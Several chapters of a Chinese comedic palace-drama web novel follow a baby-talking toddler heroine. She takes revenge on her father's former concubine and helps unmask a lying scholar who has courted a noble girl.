这里四处野草丛生,风吹过,沙沙作响,十分荒凉。
而那庙,门框都歪了,屋顶上长满了草,在寒风中摇摇欲坠……
冬梅抱着许呦呦,轻飘飘落在破庙门口。
庙里传来一阵撕心裂肺的咳嗽声,像要把肺管子都咳出来。
庙里。
三三两两的乞丐,围成一团,互相取暖,眼睛却时不时地冲着角落瞟着,
李莲茵正抱着许娇娇缩在角落。
她浑身污秽,衣衫褴褛,头发乱得跟鸡窝似的,哪还有半点当初在许府时那股妖妖娆娆的劲儿。
许娇娇窝在她怀里,小脸蜡黄,瘦得皮包骨头,一边咳一边哭:
“娘……咳咳……咱们回去吧……咳咳……回去找王爷爹爹……娇娇难受……咳咳……娇娇想回家……”
李莲茵脸色一变,死死捂住她的嘴,往四周看了看,声音压得极低:
“不许说了!娘跟你说过多少遍,不许再提那个人!”
这时,旁边几个乞丐,突然走了过来,满脸嫌弃。
“咳什么咳,把晦气都过给咱们了!”
一个满脸凶相乞丐婆子狠狠啐了一口:“还王爷爹爹呢?做梦吧你!真要是王爷的人,能沦落到跟咱们抢破庙?”
另一个瘦高个儿也跟着嗤笑:“这娘们刚来的时候还端着架子呢,说什么‘别碰我,我可是贵人’——呸!贵人能穿这破烂?”
“就是!”一个小乞丐捡起石子儿扔过去,“装什么装!有本事别跟咱们挤一块儿啊!”
许娇娇被石子砸中,“哇”的哭得更凶了。
李莲茵赶紧把她护在怀里,瑟缩着往墙角又缩了缩,一句话都不敢回。
此时,她心中滔天的恨意,就像淬了毒的利剑,扎得她体无完肤。
那个男人……
那个她以为能带她飞上枝头的男人……
原来,竟那般恶毒残忍!
她千辛万苦从许振山手里逃出来,带着娇娇找到他的别院,满心以为他心疼怜惜她们娘俩。
结果呢?
她还没进门,就听见他在里面吩咐手下——
“王妃不日就要来了,李莲茵那个蠢货,简直没用透顶,现下已毫无价值,决不能留,去,将她处理了!”
手下不放心地问道:“王爷,那……那个孩子怎么办?”
只听那个男人冷笑一声,“格杀勿论,一个不留。那个小**跟她娘一样,到底是谁的血脉都不好说。”
李莲茵顿时浑身的血都凉了。
她抱着昏睡的许娇娇,拼了命地跑,跑的鞋子都掉了,腿、脚上全是血口子,才好不容易逃到这座破庙里。
可逃出来又怎样?
她怀里抱着个病殃殃的孩子,身无分文,连口热水都喝不上。
她真是恨死呐。
她恨许振山。若不是他,她一个伯府小姐,虽是庶出,但做个富贵人家的正头娘子,却是绰绰有余。
可许振山骗了她,花言巧语把她拖进这深渊里,又无情摧残。
她也恨杨婉云。若不是她守着那些钱财不肯松手,她李莲茵何至于要去偷、去抢、去算计?
她更恨陈王。
那个男人,花言巧语骗她身子,甜言蜜语哄她卖命,给他当眼线,帮他骗杨婉云的嫁妆。
她竟然瞎眼地以为他是真心待她,甚至还天真地以为娇娇能当上王府的小郡主……
可现在。
“蠢货”、“决不能留”、“格杀勿论”……
他竟然,活生生的要她的命啊!
“娘……咳咳……好冷……咳咳……娇娇好饿……”
怀里的小人儿还在咳,小身子滚烫滚烫
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的,烧得迷迷糊糊。
李莲茵把娇娇抱得更紧了些,眼泪啪嗒啪嗒往下掉。
她好恨啊。
恨这些人,也恨自己。
恨自己瞎了眼,恨自己鬼迷心窍,恨自己明明有一手不算差的牌,却打得稀巴烂。
就在她咬牙切齿、悔恨交加的时候——
“野懂……窝来看泥辣……”
一个奶声奶气的声音从庙门口传来,脆生生的,像一颗小石子投进死水潭里。
李莲茵浑身一僵。
她猛地抬头,看见庙门口站着一个粉雕玉琢的小团子。
夕阳从她身后照进来,把两个小揪揪镀上一层金边。
与周围破败不堪的环境,格格不入。
小团子背着小手,歪着脑袋,笑眯眯地看着她,却带着无尽的嘲讽。
许……许呦呦?!
李莲茵瞳孔骤缩,脸色瞬间变得精彩极了——惊愕、恐惧、怨恨、心虚……
“你……你来这儿做什么?”
“当然似乃,找泥算账的呀!”
许呦呦小手插兜,迈着小短腿晃晃悠悠走进庙里。
冬梅跟在后面,身上还背着一个大包袱。
许呦呦冲她一挥手:“冬梅姐姐,把吃滴分给各位伯伯婶婶!”
冬梅打开包袱,里面全是热腾腾的白面馒头、肉包子,还有几包点心。
庙里的乞丐们,眼睛瞬间直了。
“这……这是给咱们的?”
“哎呦,天上来了小菩萨!您真是小菩萨啊!”
一群人蜂拥而上,接过吃食,对许呦呦感恩戴德,恨不得当场跪下磕头。
角落里,许娇娇闻着肉包子的香味,虚弱地睁开眼睛。
当她看见那些白花花的包子时,眼睛里瞬间放出光来。
“娘……包子……咳咳……娇娇要吃包子……”
她挣扎着从李莲茵怀里爬出来,小小的身子在地上爬着,朝那些乞丐爬去。
“给娇娇一个……咳咳……求求你们……咳咳……给娇娇一个……”
她的手刚碰到一个乞丐的裤腿——
“滚开!”
那个乞丐一脚踹在她身上。
许娇娇瘦小的身子,像破布娃娃一样飞出去,重重摔在地上,咳得更是撕心裂肺。
第69章 把她们送肥去
“娇娇!”李莲茵连滚带爬扑过去,把女儿抱进怀里。
她抬起头,死死盯着许呦呦,眼中满是怨毒和恨意。
“许呦呦,我们母女已经沦落到这般地步,你还想怎样?”
“非要赶尽杀绝,硬生生逼死我们才甘心吗?”
她凄厉的声音,在破庙里反复回荡。
许呦呦指指她,又指指自己。
“窝?赶尽杀绝?”
小家伙小嘴一嘟嘟,毫不客气地走上前。
“窝,阔似有仇必报滴银呢。”
“泥害窝凉滴时候,肿么扒想想赶尽杀绝?”
“泥害窝滴时候,肿么也扒想想赶尽杀绝?”
她伸出两根手指头,在李莲茵眼前直晃悠。
“泥介不就似,两个标嘛!”
李莲茵被怼得哑口无言,一个字都说不出来。
“扒过泥放心,窝阔不杀泥们。”
“窝凉嗦了,扒能随便杀银,泥们介种人,自有报应滴。”
“泥们也觉得,窝嗦滴对,似吧?”
周围的乞丐们,跟着疯狂点头。
“对对对!小菩萨说得对!”
“恩人说得太对了!”
“这种坏人,就该遭报应!”
李莲茵的脸青了又白,白了又紫。
许呦呦对着围过来的乞丐,热情地不停比划。
“虾米?泥问窝,她们似谁?”
“许振山,泥们认识扒?”
“对对对,就似泥嗦滴辣个许振山,介个就似他辣个宠妾和野懂。”
“虾米,泥们要替窝教训她们?”
“扒扒扒,泥们若似真想要帮窝,就把她们送肥去就好啦!”
“不似不似,她扒要许振山啦,她有相好滴呢,泥们就把她送到那去,就似后山辣个别院。”
“对对对,就似辣里……”
李莲茵吓得浑身发抖,脸色瞬间惨白如纸,把许娇娇死死护在怀里。
后山别院……
不!不行!
去了,就是死啊!
几个乞丐听罢,赶紧上前,一脚将她踹倒在地,然后不由分说地将她往外拖。
她拼命挣扎:“不要!放开我!我不去!我死也不去!”
另外几个乞丐也围了上来。
“呸!就说你不要脸吧,小菩萨都发善心,送你去找相好的,还不乐意?”
他们一边拖,一边朝着李莲茵吐口水。
李莲茵疯了一样挣扎,死死抓着破庙的门框。
“放开我!放开!我不去!不能去,决不能去啊……”
许娇娇被甩到一边,趴在地上哭得撕心裂肺。
许呦呦走到她面前,蹲下小身子,歪着头看她。
“泥哭虾米呀?”
“窝送泥去找泥王爷爹爹,泥不高兴吗?”
许娇娇愣住了,鼻涕眼泪糊了一脸。
许呦呦凑近她,大声地说道:
“窝告诉泥一个小秘密哦……”
“辣个陈王妃已经乃啦,当年她生下了嫡子,就给辣个陈王喝了绝嗣药。”
“所以泥呀,确实不似人家滴野懂。”
李莲茵眼睛瞬间瞪大,猛地僵住,又彻底瘫软下去。
绝嗣药……
怪不得他说“那个小**到底是谁的血脉都不好说”……
原来他早就知道啊……
可他从来没说过!
他一直让她以为娇娇是他的女儿,让她心甘情愿给他卖命!
李莲茵喉咙里发出“嗬嗬”的声音,眼泪混着鼻涕糊了满脸。
许呦呦站起身,拍拍小手,冲她挥了挥。
于是,几名乞丐一掌将激烈挣扎的李莲茵劈晕了过去,然后像拖死狗一样拖着她,拎着许娇娇一起,送往后山去。
破庙里终于安静下来。
许呦呦拍拍小手,转身往外走。
“泥们以后,次不起饭,就到杨府,找窝凉要饭哈!”
乞丐们感恩戴德,直呼小菩萨,泪眼涟涟地送她离开。
“冬梅姐姐,肘吧,肥家次饭!”
冬梅带着许呦呦,很快回到杨府。
小姑娘蹦蹦跳跳进了正厅,一眼就看见杨婉云正在张罗着晚膳。
小家伙赶紧凑上去,把欠条双手奉上,小脸笑成一朵花。
“凉!窝肥来啦!介个给泥!”
杨婉云接过欠条,扫了一眼,又看了看女儿那张得意的小脸。
蹲下来,轻柔地摸了摸她的头。
“凉,明日会有银上门来要钱,介似银家帮忙滴。”许呦呦一本正经地解释,“凉,泥可嗦了
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,扒能欠银银情,窝阔都记着呢。”
杨婉云笑着把她抱到怀里,捏了捏她的小鼻子。
“你倒大方,拿着老娘的钱,仗你的势。”
“不过——”她话锋一转,“呦呦做得是对的,咱们做人呐,就要讲良心。别人帮了咱们,咱们就得记着,就得回馈。”
许呦呦眼睛一亮,赶紧顺杆往上爬。
“辣凉,能奖励窝一个糖银吗?”
杨婉云脸上的笑容一僵。
然后,默默把她放回地上。
“呵呵,老娘还没让你赔人家钱呢。”
许呦呦:m(__)m
她迅速转身,噔噔噔跑到杨父身边,一把抱住他的大腿。
“歪祖父!窝肥来啦!泥咋不嗦话呢?”
杨父低头,一脸慈爱地看着孙女那张软乎乎的小脸,眼神却躲躲闪闪……
“哎哟,外祖父的宝贝孙女,可算回来了!”他赶紧把小家伙抱起来,“来来来,吃饭吃饭!咱先吃饭,任何事都等吃完饭再说哈!”
许呦呦眨巴眨巴眼,总觉得外祖父今天……嗯,有点怪怪的……
但累了一天,她也顾不上多想,一头扎进饭碗里,开启了疯狂炫饭模式。
杨父坐在一旁,看着她吃得那么欢,眼神却越来越复杂。
自责、心疼、无奈、可怜……
哎……
杨父又深深叹了口气……
吃完饭,许呦呦打了个饱嗝,心满意足地拍着小肚子,晃晃悠悠往自己房间走去。
“冬梅姐姐,泥也累了一天啦,好好休息哈!”她回头冲冬梅挥挥小手,“窝介里,扒不需要银!”
冬梅心领神会——小主子这是要支开她,有事要干。
她点点头,自觉地退到院外守着。
许呦呦蹦蹦跳跳进了屋,连头上的两个小揪揪,都透着欢快的气息。
一炷香后。
“呜哇——!!!”
一声凄厉的哭嚎,划破杨府的夜空。
“窝滴糖……窝滴糖啊……泥跑哪儿去了……”
许呦呦瘫坐在床头地上,眼泪哗哗往下流,哭得那叫一个撕心裂肺。
“歪祖父……窝不似让泥帮窝看好滴嘛……泥……泥也骗窝……呜呜呜……”
第70章 窝滴糖啊
就在刚刚,小家伙迫不及待地回到卧房,想要好好犒劳一下今日辛苦的寄几。
她第一时间冲向床底下。
那里有她好不容易攒下来的,整整一荷包的糖啊!
将军爹爹偷偷给的、皇伯伯偷偷赏的、歪祖父偷偷塞的……每一颗都是她费尽心思藏的!
她趴在地上,小手往暗格里摸。
摸啊摸……
摸啊摸……
空的?
许呦呦的小脸瞬间僵住了。
于是。
她气得把整个床底都翻了一遍——米有。
柜子里——米有。
枕头底下——米有。
就连她藏在鞋子里的那几颗——也米了!!!
凉啊,介似,要了她滴命呀!
杨父站在院子里,捂着脸,满脸疼惜,又满是无奈。
乖孙女,外祖父不是没看好啊。
外祖父是根本看不了啊!
晚饭前,闺女把他叫出去,说有要事商量。
他刚出门,秋香就带人冲进了小家伙的房间,将里里外外搜了个底朝天。
就连他藏在自个儿屋里的那几颗,都被翻出来了!
可是他藏得那么隐蔽啊,藏在万万想不到的枕头芯子里的啊!
结果呢?照样被翻出来了。
闺女说了,呦呦最近长牙,已经有坏掉的趋势了,再吃糖,将来满口小黑牙,哭都来不及。
他能怎么办?
他也很绝望啊!
杨父远远地站在外面,一脸疼惜,可就是不敢上前。
紧接着,里面又传来一阵噔噔噔的脚步声。
冬梅吓得赶紧往里跑。
还没进门,就听见里面传来一阵叽里咕噜的叫骂声,奶凶奶凶的。
“狗东西!”
“泥们还似个银不!”
“骗窝下乃,睁大泥们滴狗眼康康!”
“窝过滴都似虾米苦日子……呜呜呜……”
“糖啊……窝滴糖啊……窝滴糖全米了……”
“泥们介群狗东西啊!都给窝等着……”
“看窝肥去……肿么收拾泥们……”
冬梅冲进屋的时候,就看见小小一团站在窗前。
窗台比她人还高,她踮着脚尖,小胖手扒着窗沿,小手指着天,声嘶力竭地骂着。
两个小揪揪都气得竖了起来,在月光下一抖一抖的。
那小背影,又可怜,又无助,又好笑。
冬梅站在原地,进也不是,退也不是。
她想了想,默默退了出去。
算了,就让小主子骂一会儿吧。
发泄一下,也挺好……
半个时辰后,房间里彻底没了动静。
冬梅不放心地赶紧进去查看。
于是,就看到小小的一团,趴在窗口,睡着了……
睡着了?
看着也不像啊!
哪有人睡觉是这种苦大仇深的姿势啊——小脸皱成一团,小拳头攥得紧紧的,嘴里还咬着衣角,仿佛在梦里还要将人咬死。
冬梅吓得魂飞魄散,赶紧把小家伙抱到床上,慌慌忙忙去请府医。
杨父和杨婉云也慌慌张张地赶来了。
一屋子人围在床边,大气都不敢出。
府医捋着胡子,把了半天的脉,脸色甚是凝重。
杨婉云的心都提到嗓子眼了,“张大夫,呦呦她……”
终于,府医开口了:
“夫人放心,小郡主这是,气急攻心,肝火郁结。”
众人:……
“简单的说,就是,气晕了。”府医补充道,“休息一夜即可,明日保管生龙活虎。”
众人:…………
而床上那个小团子,似乎感应到什么,在梦里翻了个身,嘴里还嘟囔了一句:
“窝滴糖……还窝滴糖啊……”
然后,又沉沉睡去。
第二日一早。
阳光透过窗棂洒进来,许呦呦一脸沮丧地坐在床上,小脸绷得跟谁欠她八百两银子似的。
冬梅小心翼翼地伺候她洗漱穿衣,大气都不敢出。
谢怀轩已经等在门口了,手里提着一个食盒,里面装着热腾腾的早膳。
“呦呦妹妹!我给你带了早点!”他笑得一脸灿烂。
许呦呦面无表情地看了他一眼,没说话。
在冬梅的伺候下,胡乱塞了几口早膳。
然后,再次被她娘,毫不留情地塞进了马车里。
一路上。
谢怀轩坐在对面,看着许呦呦那张生无可恋的小脸,急得像热锅上的蚂蚁。
他挠
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挠头,忽然眼睛一亮。
“妹妹,我给你讲个笑话吧!”
许呦呦面无表情地看着他。
谢怀轩清了清嗓子,一本正经地开口:
“有一只蚂蚁,在路上走啊走,忽然看见一头大象。蚂蚁赶紧钻进土里,只露出一条腿。兔子问它:‘你在干什么?’蚂蚁说:‘嘘——别出声,我要把大象绊倒!’”
许呦呦:……
谢怀轩尴尬地挠挠头,又换了一个:
“有一天,包子家族和饺子家族打架。包子打不过,就跑。饺子在后面追。包子跑着跑着,忽然回头喊了一句:‘别追了!再追我们就变成小笼包了!’”
许呦呦:……
谢怀轩急了:“还有一个!还有一匹马和一匹驴——”
“哎……”许呦呦终于开口。
谢怀轩心里莫名一紧,不明所以地看着她。
“窝康泥,就似个笑话!”
谢怀轩:……
他又挠了挠头,忽然凑近她,压低声音,神秘兮兮地说:
“妹妹,那要不,我再跟你说个八卦吧!”
许呦呦眉头一挑。
“隔壁班的赵凌霄,就是上次说你是小不点的那个,昨天被他爹揍了,屁股都打肿了,今天只能趴着上课了!”
许呦呦的眼睛,微微亮了。
“还有还有,”谢怀轩越说越来劲,“那个总爱欺负人的赵晚晴,前天被她娘罚抄《女戒》一百遍,听说抄到手都抖了,昨天写字还哆嗦呢!”
许呦呦的嘴角,终于忍不住弯了一点点。
谢怀轩大喜,更是来了大劲:
“对了,还有个大事,我爹一直派人暗中盯着许府呢,昨儿个许振山把她妹妹捯饬捯饬卖进青楼了,就换了十两!”
“还把他娘棺材本全掏出来了,甚至连他娘嘴里那颗金牙都拔了,老太太气得直接中风了!”
“还有你绝对想不到的呢,他把自己这些年偷偷置办的私产全变卖了——城外两个庄子、城里三个铺子,连他娘都不知道啊!”
“妹妹,你都不知道,那许振山现在多丧心病狂……”
许呦呦眼睛越睁越大,小嘴慢慢咧开,刚才的沮丧一扫而空,整个人都精神了。
第71章 帮姨姨劝个人可好?
看到许呦呦眉开眼笑,谢文轩终于呼了一口气。
他拉着小家伙的手,一起进了学堂。
刚进门,朱静言老远就屁颠屁颠跑了过来,热情得就像一只摇尾巴的小狗。
“师父!师父您来啦!”
他两眼放光,满脸崇拜地凑上来。
“师父,您昨天风风光光去许府要债的事,整个学堂都传遍了!您都不知道,现在大家都可佩服您了!”
“还有还有,”朱静言压低声音,神秘兮兮地说,“您现在可是安宁郡主啦!好多人都想巴结您呢!”
许呦呦一脸骄傲地摆摆小手,“低调低调!!”
“窝凉阔嗦了,做银别太飘,风大容易闪到腰。”
说罢,她看了一眼眼神清澈的朱静言,“哎,嗦了泥也不懂……”
但是,她四处一扫。
发现周围那些小萝卜头们,一个个正用崇拜的目光偷偷瞄她。
小姑凉小嘴一咧,抬头挺胸,连头上的小揪揪都格外神气。
嘿嘿,别说,飘着的感觉,还真不赖!
一整天,许呦呦都在各种彩虹屁中快乐地度过。
有夸她聪明的,有夸她厉害的,更多的是夸她昨天天要债特别威武的……
就连夫子,对她都格外客气了几分。
小家伙那叫一个身心舒畅,连被没收糖果的悲伤都冲淡了不少。
只是临近放学时,谢怀轩却突然郁郁寡欢,几次想张口,却又欲言又止。
许呦呦抬眼瞥了他几眼,见他还是不说。
小家伙彻底看不下去了,小手一挥:
“嗦,泥有虾米事!泥现在阔似窝滴银,窝得管着泥!”
谢怀轩这才一脸担忧地开口:
“呦呦妹妹,是我母妃……这几日她为了我小姨,操碎了心,每日都眉头紧锁的。”
“小姨?”许呦呦瞬间来了兴趣,“泥小姨肿么啦?”
“她被关在我们府里,整日鬼哭狼嚎,喊着让放她出去……”谢怀轩皱着小脸,“我看着她好可怜,可是母妃说不能放……”
就在这时,杨婉云顺道过来接许呦呦。
正好碰上了迎面而来的淮南王妃。
她也是一副来接谢怀轩的架势,可那眼神,分明直直盯着许呦呦。
“杨夫人!”淮南王妃快步上前,一把拉住杨婉云的手,“你可算来了!”
杨婉云一愣:“王妃这是……”
淮南王妃二话不说,先蹲下身,从袖子里掏出一个鼓鼓囊囊的荷包,一兜子铜板,塞进许呦呦手里。
“呦呦,姨姨给你涌泉,帮姨姨劝个人可好?”
许呦呦眼睛瞬间亮了,小胖手颠了颠荷包——分量十足啊!
她笑眯眯地点头:“好嗦好嗦!窝最稀饭劝银了。”
杨婉云心里一紧,赶紧把女儿往身后拉了拉。
上次陛下让她帮忙劝皇后娘娘的事,瞬间浮现在脑海……
“王妃,你确定要让她去劝人?万一……”
“杨夫人,”淮南王妃一脸坚定,“这事,只有呦呦可以。”
杨婉云:……
她看着淮南王妃那张诚恳的脸,又低头看看自家闺女那张跃跃欲试的小脸。
莫名有一种不祥的预感。
但人家都说到这份上了,她也只好硬着头皮,带着呦呦上了淮南王府的马车。
刚进入王妃内院,就听见一阵撕心裂肺的哭喊声从厢房里传出来。
“放我出去!姐姐……你凭什么关着我!”
“你放我出去……放我出去啊……”
淮南王妃揉了揉眉心,一脸无奈地叹了口气。
“哎,婉云,不怕你笑话,你们也
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看到了,这厢房里关着的,是我嫡妹,安瑾姝。”
她边走边跟杨婉云解释。
“前段时间,这丫头不知道从哪认识了个小秀才,叫王来,是城外一个穷乡僻壤出来的穷书生。”
“前些日子,她逛街时差点被马车撞上,就是这书生扑过去把她推开了,而他自己也因此受了点伤。”
“就这么点事儿,就让这丫头对他芳心暗许,念念不忘,觉得人家是她的救命恩人,人品贵重,才华横溢……”
淮南王妃说到这儿,忍不住苦笑。
“那书生也是个会哄人的,仗着有几分长相和才气,花言巧语,哄得我妹妹晕头转向。前几日,两人竟然约定好要私奔!”
杨婉云心里一惊。
“被发现了?”
“可不是嘛!”淮南王妃叹气,“被我爹发现了,差点没把她当场打死。我为了平息父亲的怒火,就把她带回来了,关在厢房里。结果这丫头倒好,绝食!三天了,滴水未进!”
她说着,眼眶都红了。
“杨夫人,你说我该怎么办?她是我亲妹妹,我总不能看着她饿死吧?”
杨婉云愣在原地,脑子里嗡嗡的。
穷书生?
救命之恩?
花言巧语?
富家小姐?
这题……她熟啊!!!
她可是刚演完啊!!!
杨婉云心情复杂地看向怀里的许呦呦。
只见小家伙正两眼放光地盯着厢房的方向,小嘴咧得老开。
她张了张嘴,想说点什么,又不知道该说什么。
最后只憋出一句:
“王妃……你确定要让呦呦去劝?”
淮南王妃坚定地点头。
“确定!这孩子能看透人心,能治好轩儿,一定能点醒我那傻妹妹!”
杨婉云:( ̄_ ̄
第72章 咱们介,就米有其他穷银了?
许呦呦满意地点点头,从淮南王妃给的那兜铜板里,慢悠悠掏出一枚,在玄清道长眼前晃了晃。
“玄清道长,似吧?”
玄清道长眼睛一亮,屁颠屁颠凑过来。
“小祖宗有何吩咐?”
小家伙小手指着厢房的方向。
“乃乃乃,泥不似会算嘛?泥给她算算姻缘呗!”
玄清道长低头看着那枚铜板,脸上的表情……一言难尽。
我……我已经廉价到如此地步了吗?
要知道,他好歹也是威名八方的道长啊,也算是天下人求一卦而不得的得道高人,多少人一掷千金都难见他一面……
合着,在这小祖宗眼里,她就值一个铜板?
玄清道长心里那个复杂啊。
但身体却无比诚实。
屁颠颠的一把接过铜板,脸上笑得跟朵花似的。
“小祖宗真贴心!竟然知道贫道给人算卦,只收一个铜板!”
众人:……
淮南王妃一听,心中一喜,赶紧吩咐下人:
“快!把厢房门打开,把瑾姝带出来!”
一炷香后。
淮南王妃拉着一个十五六岁的少女走了进来。
那少女面容清秀,眉眼间与淮南王妃有几分相似,只是,此刻满脸倔强,眼眶微红,一看就是刚哭过的样子。
她一路走,一路还在挣扎:“姐,你到底要干什么?我说了我不见人!我只要见王来!”
淮南王妃不理会她,直接把她按在椅子上。
“瑾姝,这位是玄清道长,今日特意请来,为你卜算姻缘。”
安瑾姝一愣,抬头看向玄清道长。
她虽然任性,但玄清道长的名头还是听过的——那可是能通阴阳、断生死的神仙人物。
她抿了抿嘴,终于安静下来,不再闹了。
淮南王妃松了口气,满脸歉意地对玄清道长说:
“道长,真是让您费心了。我这妹妹素日就是个不省心的,也不知道那穷小子有什么好的,让她如此鬼迷心窍!”
安瑾姝一听,不乐意了,立刻反驳:
“姐姐!不许你这么说王来!”
她眼眶又红了,一脸委屈。
“他对我的好,你们根本不懂!你们一个个都这么势利,嫌贫爱富,可他不一样,他是真心待我的!”
坐在一边,正开心吃着糕点的许呦呦,“泥嗦滴对,他穷滴只剩辣不值钱滴真心啦。”
淮南王妃也被气得直捂胸口,“真心?真心能让你跟他私奔?能让你做有损名节的事?能把爹娘差点活活气死?”
“我不管!”安瑾姝一梗脖子,“我就是喜欢王来!别的人,我一个都相不上!”
淮南王妃眼前一黑,差点没背过气去。
许呦呦坐在一旁,看得津津有味。
哎,恋爱脑晚期,扒几道还有米有救?
她冲玄清道长挥挥小手:
“臭道屎,乃,泥给她算算!”
淮南王妃深吸一口气,从袖子里掏出一张纸,递给玄清道长。
“道长,那王来的情况,我也打听清楚了,您给仔细看看。”
“这小子就住在京郊一个山沟沟里,家里穷得叮当响,上有刁钻老母,下有好赌弟弟,五体不勤,六谷不分,在村里是出了名的懒!”
“最要命的是——”淮南王妃压低了声音,“他前面还娶过一任妻子,是他们镇上一户小买卖人家的闺女。那闺女嫁过去不到两年,就莫名其妙**。王来靠着人家娘家的支持,这才有钱上京赶考。”
“除了中了秀才,他简直一无是处!就剩一张破嘴和一张还能看的脸!”
她把生辰八字也递过去。
“也不知道怎么的,就把我这妹妹迷得五迷三道的!”
安瑾姝一听,立刻跳起来:
“姐姐!你不能这么说王来!人的出身,又不是他能决定的!”
她一脸的义正言辞。
“他虽然现在穷,可他对我一心一意,又很上进!他还说了,会努力考取功名,将来一定让我风光大嫁!”
许呦呦眨巴眨巴眼,忽然开口:
“咱们介,就米有其他穷银了?”
安瑾姝
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一愣:“什么?”
“窝嗦,天下穷银辣么多,泥非得跑辣个穷沟沟里找穷银?”
安瑾姝涨红了脸:“不是的,王来不一样的,他是真心……”
“哎呦,”许呦呦小手一拍,“介大饼,画滴比窝滴圈画滴都圆!”
玄清道长在一旁,疯狂点头。
对对对!小祖宗说得太对了!
“你们别老这样说王来,他爱我如命,甚至可以把命给我。”安瑾姝还在竭力地为心爱的人说话。
“哎,竟给些米银要滴玩意,他肿么扒把钱给泥?”小家伙晃晃悠悠地又塞了一口糕点。
一屋子的众人,看着她,疯狂点头。
玄清道长接过淮南王妃递来的生辰八字,闭眼掐算起来。
手指飞快掐动,口中念念有词。
片刻后,他睁开眼睛,脸色古怪。
“呃……这个……”
安瑾姝紧张地看着他:“道长,怎么样?”
玄清道长张了张嘴,又闭上,看了一眼许呦呦,又看了一眼安瑾姝,一脸欲言又止。
“小祖宗,要不您来说呗?您看到的,肯定比我多……”
许呦呦小手一挥:“扒!窝扒嗦,泄露天机,肥遭报应!”
玄清道长:┬┬﹏┬┬
合着,就让我一个人遭报应呗?
“臭道屎,快嗦,嗦了让她好早点死心!”
玄清道长最后挣扎,“小祖宗,我能算到的,你也都知道,还要说啥?”
“米事,窝就当泥似在嗦书。”
玄清道长深深吸了口气,一脸视死如归。
“姑娘,那贫道可就直说了,那人,并非你的良人。”
“你的正缘,还在后面呢。”玄清道长捋了捋胡子,“这位王公子,跟你八字犯冲,命里相克。”
许呦呦一脸不满地撇了他一眼,“尽嗦些废话!大家都几道介事!泥嗦点有用滴!”
玄清道长委屈地看了小祖宗一眼,还是继续往下说:
“姑娘,你若是强行与那人结为夫妻,定然会像他前妻那般——惨死。”
第73章 强抢民男
安瑾姝的脸,瞬间没了血色。
“而且,”玄清道长顿了顿,“那人本就是穷凶极恶之徒。他的秀才功名,都是冒名顶替来的,真正的秀才早被他害了。”
听到这,安瑾姝嘴唇哆嗦了起来。
“最重要的是……”玄清道长叹了口气,“他前妻已经为他生了一个儿子。而从卦象上看,他最近应该还能得一女。也就是说,他已经另有姻缘了。”
安瑾姝瞪大眼睛,整个人都傻了。
“姑娘,你不日也会因为他,恐有祸端……”
许呦呦小嘴一咧,适时补刀:
“哎呀,泥滴心头好,原来稀饭跟别银玩脱脱游戏咧!”
安瑾姝浑身一抖。
“他也跟别银嗦,似泥勾引他滴,还哭着喊着要倒贴滴辣种!”
安瑾姝脸色惨白。
“哎呦,最腻害滴,还得似泥啊!”许呦呦小胖手一拍,“万千银海,都找不出介么个玩意,竟然就被泥一眼找到啦!”
这下,安瑾姝浑然崩溃了。
“哇——!!!”
她嚎啕大哭,哭得比刚才绝食的时候还凶,眼泪鼻涕糊了一脸。
“不可能……不可能的……王来他不可能这样对我,他他为什么要这样骗我?”
“因为泥傻,又有钱,关键似,泥爹还有权,扒骗泥骗谁?”小家伙眼皮都没抬,轻飘飘地补了一句。
“哇……”安瑾姝连最后一丝幻想,都彻底破灭了。
“呜呜……他……他……”
淮南王妃赶紧把她搂进怀里,一边拍背一边哄:
“好了好了,现在知道也不晚,一切都还来得及!”
安瑾姝趴在姐姐怀里,哭得上气不接下气。
“姐姐……我错了……我真的错了……”
“知道错了就好。”淮南王妃心疼地给她擦眼泪,“那浑小子已经被爹捆起来了,你别担心。你就在姐姐这里住一段时日,剩下的,交给我们处理就好。”
安瑾姝哭着点头。
就在这时,门口传来一阵急促的脚步声。
一个小厮慌慌张张地跑进来,气喘吁吁:
“王妃!不好了!国公夫人让您带二小姐赶紧回府!出大事了!”
淮南王妃心下一紧:“出什么事了?”
“那王来的老娘和弟弟,带着一名孕妇,堵在国公府门口**呢!”
“说……说二小姐勾引她儿子,把他儿子扣了起来,要国公府给个说法!不然就告到御前去!”
安瑾姝的脸,瞬间惨白如纸。
淮南王妃脸色铁青,气得咬牙切齿,“好一个王来!骗了我妹妹还不够,竟还敢上门**?”
“来人!备车!我倒要去会会那老泼妇!”
她转身就要往外走,突然又顿住了。
回头看向安瑾姝,满脸担忧。
“瑾姝,你留在姐姐这儿,暂时别回去。那帮人就是冲着你来的,你现在回去,只怕会惹人非议。”
安瑾姝毫不迟疑地摇了摇头,“姐姐,我要跟你一起回去。”
淮南王妃急了:“你疯了?那些人就是来**的,你回去不是往剑口上撞吗?”
安瑾姝抬起头,眼眶还红着,可眼神却很决然。
“姐姐,这祸是我惹出来的,理应由我自己解决。”
她吸了吸鼻子,声音还打着颤,却字字坚定:
“这些日子,我为了那个浑蛋,让爹娘伤心,让姐姐操心,还绝食威胁你们……我……我错了。”
“这些年,你们将我保护得太好了,我才如此识人不清。”
“现在,该是我自己去面对的时候了。”
淮南王妃愣住了。
她看着眼前这个妹妹——从小被宠坏、任性刁蛮、从不认错的孩子,此刻却像脱胎换骨一般。
是啊,不经一事,不长一智,不历风雨,不成大人。
许呦呦在一旁举起小胖手,竖起大拇指:
“康吧!放下恋爱脑,干虾都美妙!”
淮南王妃深吸一口气,终于点了点头,“好,那咱们一起去。”
许呦呦眼睛一亮,赶紧从桌上抓起一碟子糕点,往怀里一揣。
“走走走!康戏去康戏去!”
一行人,很快便到达安国公府门口。
还没到跟前,就听见一阵惊天动地,又悲悲惨惨
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的哭嚎声。
门口围满了看热闹的百姓,里三层外三层,密密麻麻,把整条街堵得水泄不通。
人群中央,一个头发花白,穿着寒酸的老太太跪在地上,拍着大腿哭的那叫一个凄厉。
“哎哟喂……老天爷不开眼啊……”
她身边还跪着一个挺着大肚子的年轻女子,脸色苍白,眼眶红肿,一副随时要晕过去的样子。
老太太一边哭诉,一边哀嚎:
“你们安国公府,仗着位高权重,任意欺辱我们这些老百姓啊,真是欺人太甚……”
“安国公府的二小姐,仗着自己是国公府的千金,看上我家儿子,就把他强行抢进府了啊!”
“我儿子可是有功名在身的秀才啊!就这么被抢走了,三天三夜不见人影,是死是活都不知道啊!”
人群中瞬间一片哗然。
“什么?还有这种事?”
“强抢民男?这也太霸道了吧!”
老太太哭得更凶了,从怀里掏出一块手帕,高高举起,晃得跟旗帜似的。
“各位乡亲父老看看!这是我儿子贴身收着的,是二小姐送给他的定情信物!”
“上面还绣着二小姐的闺名呢!”
